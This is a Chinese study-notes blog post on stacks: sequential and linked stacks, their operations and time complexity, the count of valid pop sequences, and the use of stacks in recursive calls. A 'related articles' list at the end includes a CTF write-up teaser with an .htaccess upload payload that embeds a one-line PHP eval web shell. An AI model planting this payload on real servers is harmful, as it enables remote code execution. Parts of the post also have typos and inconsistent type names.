Day27-【13003】短文,什么是栈?栈为何用在递归调用中?顺序栈和链式栈是什么?
文章目录
- 第三章栈和队列总览
- 第一节栈概览
- 栈的定义及其基本操作
- 如何定义栈和栈的操作?合理的出栈序列个数如何计算?
- 栈的两种存储方式及其实现?
- 顺序栈及其实现,还有对应时间复杂度
- *、清空栈,初始化栈
- 5、栈空,6、栈满
- 1、入栈,2、出栈
- 7、获取栈顶元素
- 链式栈及其实现,还有对应时间复杂度
- *、初始化栈
- 2、出栈
- *清空栈
- 1、入栈
- 5、栈空
- 顺序栈和链式栈的比较
- 函数调用中的递归调用,为什么最适合采用栈来保存信息?
第三章栈和队列总览
第一节栈概览
栈的定义及其基本操作
栈是一 种特殊的线性表,
它的特殊性体现在操作的位置上。
在含n个元素的线性表中进行插入或删除时,操作位詈可以有n+1 个或n个。
-
n+1是因为带头节点的单链表是不是
-
当将操作位詈限定在线注表的同一端时,得到的数据结构就是栈。
它是— 种受限的线性表。
定义3-1 栈是限定仅在一 端进行插入和删除的线性表。
能进行插入和删除的一 端称为栈顶,
在栈顶插入一 个元素称为入栈,也称为进栈或压栈;
从栈顶删除一 个元素称为出栈,也称为退栈。
另一 端称为栈底。
栈中最多能保存的元素个数称为栈的容量;
-
怎么和用顺序方式,也就是数组存储的线性表有点像呢,还有容量
确实如此,顺序栈,就是用数组来存储的,所以数组大小,就是栈的容量
可以沿用线性表的表示方法,将栈S表示为:
S = ( a 0 , a 1 , ⋯ , a n − 1 ) 在这个表示中,将哪—端规定为栈顶都是可以的, 通常指定 a n 1 一端为栈顶 a 0 一端是栈底。因为是 a 0 先进入,先开始,肯定是栈底了 栈中元素个数 n 称为栈的长度 当 n = 0 时,称为空栈 S = (a_0, a_1, \cdots, a_{n - 1})\\ 在这个表示中,将哪— 端规定为栈顶都是可以的,\\ 通常指定an_1一端为栈顶\\ a_0一端是栈底。因为是a_0先进入,先开始,肯定是栈底了\\ 栈中元素个数 n 称为栈的长度\\ 当n=0时,称为空栈\\ S=(a0,a1,⋯,an−1)在这个表示中,将哪—端规定为栈顶都是可以的,通常指定an1一端为栈顶a0一端是栈底。因为是a0先进入,先开始,肯定是栈底了栈中元素个数n称为栈的长度当n=0时,称为空栈
栈及入栈和出栈操作的示意图如图3-1所示
入栈橾作及出栈橾作只能在栈顶进行,实际上,只能看到栈顶元素,栈顶之下的所有元素都是不可见的,
即不允许访问非栈顶元素。
如何定义栈和栈的操作?合理的出栈序列个数如何计算?
栈中每个元素的类型都是ELEMType,定义如下。
typedef int ELEMType ;
栈的抽象数据类型为Stack,为简单起见,仅列出栈的基本操作如下:
int initStack(Stack * mys);// 初始化栈, 创建一个空栈mys
int clear(Stack * mys);// *、将栈mys清空
int pop(Stack * mys, ELEMTType * x);// 2、将栈顶元素出栈
int push(Stack * mys, ELEMTType x);// 1、将元素x入栈
int gettop(SeqStack * mys, ELEMTType * x);// 7、获取栈顶元素 (不出栈)
int isEmpty(Stack * mys);// 5、如果栈mys为空, 则返回1, 否则返回0
int isFull(Stack * mys);// 6、如果栈mys为满, 则返回1, 否则返回0
设有栈S,元素a0,a.,…,an-1依次入栈,然后依次出。
入时,首先a0入栈,然后a1入栈……最后an-1入栈。
出栈时,首先an-1出栈,然后an-2出栈……最后a0出栈。
得到的出栈次序刚好与入栈次序相反,最先入栈的元素最后出栈。
所以栈具有后进先出的特性。
对于栈,给定了入栈序列,是不是只能得到唯一的出栈序列?
一般来说,只要栈不空,就允许出栈;
只要栈不满,就允许入栈。
当没有其他的特殊限制时,对于同一个入栈序列,可能会得到很多个正确合理的出栈序列。
-
从另一方面来说,对于含n (n≥3) 个元素的入栈序列,它的**全排列共有n!**个。
-
这些序列不全是合理的出栈序列,实际上,合理的出栈序列个数为
( 3 − 1 ): C n = C 2 n n n + 1 (3-1):\\ \\ C_n = \frac{C_{2n}^n}{n + 1} (3−1):Cn=n+1C2nn
栈的两种存储方式及其实现?
和线性表一样,栈也有两种主要的存储方式,分别是顺序存储和链式存储。
顺序存储方式使用数组保存栈元素,得到的是顺序栈。
链式存储方式使用单链表保存栈元素,得到的是链式栈。
- 注意,是单链表,而不是什么双,循环之类的,应该会带头节点
顺序栈及其实现,还有对应时间复杂度
在顺序栈中,栈中的元素保存在一维数组中,为方便起见,将栈底定义在数组下标为0的位置。
同时还需要一个变量来标记栈顶的位置,即栈顶位置。
习惯上,栈顶位置也称为栈顶指针,
不过它只是数组中的一个下标,并不是真正意义上的一个指针。
顺序栈的定义如下
typedef int ELEMTType; //以int类型为例
typedef struct {ELEMTType element[maxSize]; //maxSize是数组最大容量, 已定义的常量int top; //栈顶位置
} SeqStack; //顺序栈
顺序栈的基本操作如下。
int initStack(SeqStack * mys);// 初始化栈
int clear(SeqStack * mys);// *、将栈mys清空
int pop(SeqStack * mys, ELEMTType * x);// 2、将栈顶元素出栈
int push(SeqStack * mys, ELEMTType x);// 1、将元素x入栈
int gettop(SeqStack * mys, ELEMTType * x);// 7、获取栈顶元素 (不出栈)
int isEmpty(SeqStack * mys);// 5、如果栈mys为空, 则返回1, 否则返回0
int isFull(SeqStack * mys);// 6、如果栈mys为满, 则返回1, 否则返回0
栈顶位置top具体指向数组中的哪个位置呢?
它有两种不同的定义方式,
- 一种是定义在紧邻栈顶元素的下一个空位置,如图3-4a所示;
本书实现时采用图34a所示的定义方式。
- 另一种是定义在栈顶元素所在的位置,如图3-4b所示。
*、清空栈,初始化栈
5、栈空,6、栈满
判定栈空及栈满等操作的时间复杂度也是O(1)。
入栈时,新元素放在element[top]处,然后top值加1,表明栈顶移向下一个位置,为下一次的入栈操作做好准备。
第一个元素入栈时放在数组下标为0的位置。
因为数组空间有限,最大容量是maxSize,所以入栈时需要判定栈是否是满的。
出栈时,需要先将top值减1,然后将element[top]处的值通过参数x返回。
与入栈操作时要判定栈是否为满类似,出栈时需要判定栈是否是空的。
top的值既是保存下一个入栈元素的位置,也是栈中所含元素个数的计数器,可谓“身兼数职”
1、入栈,2、出栈
因为栈的入栈操作及出栈操作都在栈顶进行,入栈及出栈时都不需要移动栈中已有的元素,避免了顺序表中插入及删除操作时的数据移动,
故顺序栈入栈操作、出栈操作及获取栈顶元素操作的时间复杂度都是O(1)。
有时,也可以将数组下标最大的一端作为栈底,入栈时,栈顶指针减1,出栈时,栈顶指针加1。
7、获取栈顶元素
另外,栈顶指针可以定义在栈顶元素所在的位置。
链式栈及其实现,还有对应时间复杂度
与顺序表类似,顺序栈也受数组大小的限制。
如果不能提前预知栈中元素的最大个数,就不能精确地设定maxSize的值,这种情况下可以使用链式栈。
链式栈,可以看作一个仅在表头位置进行操作的单链表。
将头指针所指的这一端作为栈顶,
表尾一端作为栈底。
入栈操作及出栈操作都可以通过头指针完成。
所以,在链式栈中,可以只定义头指针,尾指针及头结点 都可以不定义。
例如,图3-4a所示的顺序栈使用链式方式存储时,得到的链式栈如图3-7所示。
- 这是不带头节点的单链表
链式栈的基本操作要实现的基本功能与顺序栈的基本操作是一样的,但因为两种栈的存储方式不同,所以实现方式也不同。
*、初始化栈
2、出栈
与顺序栈一样,链式栈的入栈、出栈等操作的时间复杂度也都是O(1)。
*清空栈
1、入栈
与顺序栈一样,链式栈的入栈、出栈等操作的时间复杂度也都是O(1)。
5、栈空
顺序栈和链式栈的比较
实现顺序栈和链式栈的所有操作都只需要常数时间,因此栈的两种实现方式的优从前面的分析中知道,劣仅体现在它们的存储效率上。
顺序栈需要预先申请一个固定长度的一维数组,并自始至终全部占用。
当栈中元素个数相对较少时,空间浪费较大。
虽然链式栈的长度可变,但是每个元素都需要一个指针域,这又产生了结构性空间开销。
链式栈的空间可能会非常零碎,且需要在程序中动态申请及释放。
根据以上分析,两种实现方式在优劣方面没有本质差别,在实际中都可选用。
-
当不能预先估算出栈中元素最大个数时,只能使用链式栈,
-
而如果知道栈的最大元素个数,则可以使用顺序栈。
-
其实就和顺序表,链表的比较差不多
函数调用中的递归调用,为什么最适合采用栈来保存信息?
设计程序时不可避免地会出现函数调用,系统如何处理这些函数调用呢?
通常来讲,当遇到函数调用语句时,当前正在执行的函数被暂停,程序控制转去执行被调用的函数。
函数中直接或间接调用自身的函数称为递归函数,
和递归法类似,见,Day25-【13003】短文,有哪些设计策略?顺序存储链式存储和线性非线性结构考题解析?,中:递归法是什么?
相应的函数调用称为递归调用。
以函数A调用函数B为例。
在函数A的语句序列中遇到调用函数B的语句时,函数A暂停,这个位置不妨称为断点。
接下来执行函数B的函数体。函数B执行完毕,程序又回到断点,继续执行函数A中后续的语句。
为了能让函数A接续执行,转去函数B之前的相关信息都要保存起来,其目的是从函数B返回后,这些信息逐一恢复,从而函数A能继续执行。
用什么结构来保存这些信息呢?
- 如果只有这一次函数调用,那么使用哪种数据结构来保存这些信息都不是问题。
关键是,函数调用可能是一系列的,甚至函数还可以调用自身,形成递归调用,这样的调用通常都不是一次性的,需要保存的信息会是一系列的。
例如,函数A调用函数B,函数B又调用函数C,函数C又调用函数D,
这个调用过程如图3-8所示。
在图3-8所示的一系列函数调用中,系统需要依次保存函数A中的断点、函数B中的断点和函数C中的断点。
当函数D的执行结束后,最先返回到函数C中的断点继续执行,然后返回到函数B中的断点继续执行,最后返回到函数A中的断点继续执行。
可以看出,保存与恢复的次序刚好是互逆的。
这表明,栈是保存这些信息的最佳结构。
- !流弊,原来栈这种数据结构,特别适合于函数调用,特别特别是递归调用
实际上,系统内部会开辟一个函数调用栈用来保存函数在调用过程中所需的一些信息。
相关文章:

Day27-【13003】短文,什么是栈?栈为何用在递归调用中?顺序栈和链式栈是什么?
文章目录 第三章栈和队列总览第一节栈概览栈的定义及其基本操作如何定义栈和栈的操作?合理的出栈序列个数如何计算?栈的两种存储方式及其实现?顺序栈及其实现,还有对应时间复杂度*、清空栈,初始化栈5、栈空,…...

[JMCTF 2021]UploadHub
题目 上传.htaccess就是修改配置文件 <FilesMatch .htaccess> SetHandler application/x-httpd-php Require all granted php_flag engine on </FilesMatch>php_value auto_prepend_file .htaccess #<?php eval($_POST[md]);?>SetHandler和ForceType …...

C++学习——认识和与C的区别
目录 前言 一、什么是C 二、C关键字 三、与C语言不同的地方 3.1头文件 四、命名空间 4.1命名空间的概念写法 4.2命名空间的访问 4.3命名空间的嵌套 4.4命名空间在实际中的几种写法 五、输入输出 5.1cout 5.2endl 5.3cin 总结 前言 开启新的篇章,这里…...
为AI聊天工具添加一个知识系统 之63 详细设计 之4:AI操作系统 之2 智能合约
本文要点 要点 AI操作系统处理的是 疑问(信念问题)、缺省(逻辑问题)和异常(不可控因素 ) 而 内核 的三大功能 (资源分配/进程管理/任务调度)以及外围的三类接口( CLI、GUI和表面模型的 运行时…...

基于SpringBoot的网上摄影工作室开发与实现 | 含论文、任务书、选题表
随着互联网技术的不断发展,摄影爱好者们越来越需要一个在线平台来展示和分享他们的作品。基于SpringBoot的网上摄影工作室应运而生,它不仅为用户提供了一个展示摄影作品的平台,还为管理员提供了便捷的管理工具。本文幽络源将详细介绍该系统的…...
Flutter子页面向父组件传递数据方法
在 Flutter 中,如果父组件需要调用子组件的方法,可以通过以下几种方式实现。以下是常见的几种方法: 方法 1:使用 GlobalKey 和 State 调用子组件方法 这是最直接的方式,通过 GlobalKey 获取子组件的 State,…...
回顾Maven
Maven Maven简介 Maven 是 Apache 软件基金会的一个开源项目,是一个优秀的项目构建工具,它 用来帮助开发者管理项目中的 jar,以及 jar 之间的依赖关系、完成项目的编译、 测试、打包和发布等工作。 管理jar包管理jar包之间的依赖关系(其中一个jar包可能同时依赖多个…...
除了layui.js还有什么比较好的纯JS组件WEB UI?在谷歌浏览上显示
以下是一些比较好的纯JS组件WEB UI,可以在谷歌浏览器上良好显示: 1. Sencha 特点:提供超过140个高性能UI组件,用于构建现代应用程序。支持与Angular和React集成,提供企业级网格解决方案。 适用场景:适用于…...

力扣111二叉树的最小深度(DFS)
Problem: 111. 二叉树的最小深度 文章目录 题目描述思路复杂度Code 题目描述 思路 1.欲望求出最短的路径,先可以记录一个变量minDepth,同时记录每次当前节点所在的层数currentDepth 2.在递的过程中,每次递一层,也即使当前又往下走…...

c++学习第十三天
创作过程中难免有不足,若您发现本文内容有误,恳请不吝赐教。 提示:以下是本篇文章正文内容,下面案例可供参考 一、vector 1.介绍 1. vector是表示可变大小数组的序列容器。 2. 就像数组一样,vector也采用的连续存储空…...
zookeeper-3.8.3-基于ACL的访问控制
ZooKeeper基于ACL的访问控制 ZooKeeper 用ACL控制对znode的访问,类似UNIX文件权限,但无znode所有者概念,ACL指定ID及对应权限,且仅作用于特定znode,不递归。 ZooKeeper支持可插拔认证方案,ID格式为scheme…...
Java定时任务实现方案(四)——Spring Task
Spring Task 这篇笔记,我们要来介绍实现Java定时任务的第四个方案,使用Spring Task,以及该方案的优点和缺点。 Spring Task是Spring框架提供的一个轻量级任务调度框架,用于简化任务调度的开放,通过注解或XML配置的…...

WGCLOUD运维工具从入门到精通 - 如何设置主题背景
需要升级到WGCLOUD的v3.5.7或者以上版本,才会支持自定义设置主题背景色 WGCLOUD下载:www.wgstart.com 我们登录后,在右上角点击如下的小图标,就可以设置主题背景色了,包括:经典白(默认&#x…...
Babylon.js 中的 setHardwareScalingLevel和getHardwareScalingLevel:作用与配合修改内容
在 Babylon.js 中,Engine类提供了setHardwareScalingLevel和getHardwareScalingLevel方法,用于管理和调整渲染分辨率与屏幕分辨率的比例。这些方法在优化性能和提升画质方面非常有用。尤其是在某些平台不支持硬件反锯齿时,可以考虑使用setHar…...
Qwen2-VL:在任何分辨率下增强视觉语言模型对世界的感知 (大型视觉模型 核心技术 分享)
摘要 我们推出了Qwen2-VL系列,这是对之前Qwen-VL模型的高级升级,重新定义了视觉处理中的常规预设分辨率方法。Qwen2-VL引入了Naive Dynamic Resolution机制,使模型能够动态地将不同分辨率的图像转换为不同的视觉令牌数量。这种方法允许模型生成更高效和准确的视觉表示,紧密…...

Docker——入门介绍
目录 1.初识 Docker1.1.什么是 Docker1.1.1.应用部署的环境问题1.1.2.Docker 解决依赖兼容问题1.1.3.Docker 解决操作系统环境差异1.1.4.小结 1.2.Docker 和虚拟机的区别1.3.Docker 架构1.3.1.镜像和容器1.3.2.DockerHub1.3.3.Docker 架构1.3.4.小结 1.4.安装 Docker1.4.1.概述…...

02数组+字符串+滑动窗口+前缀和与差分+双指针(D2_字符串(D2_刷题练习))
目录 1. 最长公共前缀 1.1. 题目描述 1.2. 解题方案 方案一:纵向对比 方案二:横向对比 方案三:最值对比 方案四:分治 方案五:二分 1.3. 知识归纳 2. 左旋转字符串(简单) 2.1. 题目描述…...

【redis进阶】集群 (Cluster)
目录 一、基本概念 二、数据分片算法 2.1 哈希求余 2.2 一致性哈希算法 3.3 哈希槽分区算法 (Redis 使用) 三、集群搭建 (基于 docker) 3.1 创建目录和配置 3.2 编写 docker-compose.yml 3.3 启动容器 3.4 构建集群 四、主节点宕机 4.1 处理流程 五、集群扩容 六、集群缩容 (选…...

Python案例--100到200的素数
一、问题描述 素数(Prime Number)是指在大于1的自然数中,除了1和它本身以外不再有其他因数的数。判断一个数是否为素数是计算机科学和数学中的一个经典问题。本实例的目标是找出101到200之间的所有素数,并统计它们的数量。 二、…...

C语言,无法正常释放char*的空间
问题描述 #include <stdio.h> #include <stdio.h>const int STRSIZR 10;int main() {char *str (char *)malloc(STRSIZR*sizeof(char));str "string";printf("%s\n", str);free(str); } 乍一看,这块代码没有什么问题。直接书写…...
Cursor实现用excel数据填充word模版的方法
cursor主页:https://www.cursor.com/ 任务目标:把excel格式的数据里的单元格,按照某一个固定模版填充到word中 文章目录 注意事项逐步生成程序1. 确定格式2. 调试程序 注意事项 直接给一个excel文件和最终呈现的word文件的示例,…...

css实现圆环展示百分比,根据值动态展示所占比例
代码如下 <view class""><view class"circle-chart"><view v-if"!!num" class"pie-item" :style"{background: conic-gradient(var(--one-color) 0%,#E9E6F1 ${num}%),}"></view><view v-else …...
MySQL 隔离级别:脏读、幻读及不可重复读的原理与示例
一、MySQL 隔离级别 MySQL 提供了四种隔离级别,用于控制事务之间的并发访问以及数据的可见性,不同隔离级别对脏读、幻读、不可重复读这几种并发数据问题有着不同的处理方式,具体如下: 隔离级别脏读不可重复读幻读性能特点及锁机制读未提交(READ UNCOMMITTED)允许出现允许…...
条件运算符
C中的三目运算符(也称条件运算符,英文:ternary operator)是一种简洁的条件选择语句,语法如下: 条件表达式 ? 表达式1 : 表达式2• 如果“条件表达式”为true,则整个表达式的结果为“表达式1”…...

对WWDC 2025 Keynote 内容的预测
借助我们以往对苹果公司发展路径的深入研究经验,以及大语言模型的分析能力,我们系统梳理了多年来苹果 WWDC 主题演讲的规律。在 WWDC 2025 即将揭幕之际,我们让 ChatGPT 对今年的 Keynote 内容进行了一个初步预测,聊作存档。等到明…...

如何在看板中有效管理突发紧急任务
在看板中有效管理突发紧急任务需要:设立专门的紧急任务通道、重新调整任务优先级、保持适度的WIP(Work-in-Progress)弹性、优化任务处理流程、提高团队应对突发情况的敏捷性。其中,设立专门的紧急任务通道尤为重要,这能…...
unix/linux,sudo,其发展历程详细时间线、由来、历史背景
sudo 的诞生和演化,本身就是一部 Unix/Linux 系统管理哲学变迁的微缩史。来,让我们拨开时间的迷雾,一同探寻 sudo 那波澜壮阔(也颇为实用主义)的发展历程。 历史背景:su的时代与困境 ( 20 世纪 70 年代 - 80 年代初) 在 sudo 出现之前,Unix 系统管理员和需要特权操作的…...

【Oracle】分区表
个人主页:Guiat 归属专栏:Oracle 文章目录 1. 分区表基础概述1.1 分区表的概念与优势1.2 分区类型概览1.3 分区表的工作原理 2. 范围分区 (RANGE Partitioning)2.1 基础范围分区2.1.1 按日期范围分区2.1.2 按数值范围分区 2.2 间隔分区 (INTERVAL Partit…...
.Net Framework 4/C# 关键字(非常用,持续更新...)
一、is 关键字 is 关键字用于检查对象是否于给定类型兼容,如果兼容将返回 true,如果不兼容则返回 false,在进行类型转换前,可以先使用 is 关键字判断对象是否与指定类型兼容,如果兼容才进行转换,这样的转换是安全的。 例如有:首先创建一个字符串对象,然后将字符串对象隐…...
MySQL 主从同步异常处理
阅读原文:https://www.xiaozaoshu.top/articles/mysql-m-s-update-pk MySQL 做双主,遇到的这个错误: Could not execute Update_rows event on table ... Error_code: 1032是 MySQL 主从复制时的经典错误之一,通常表示ÿ…...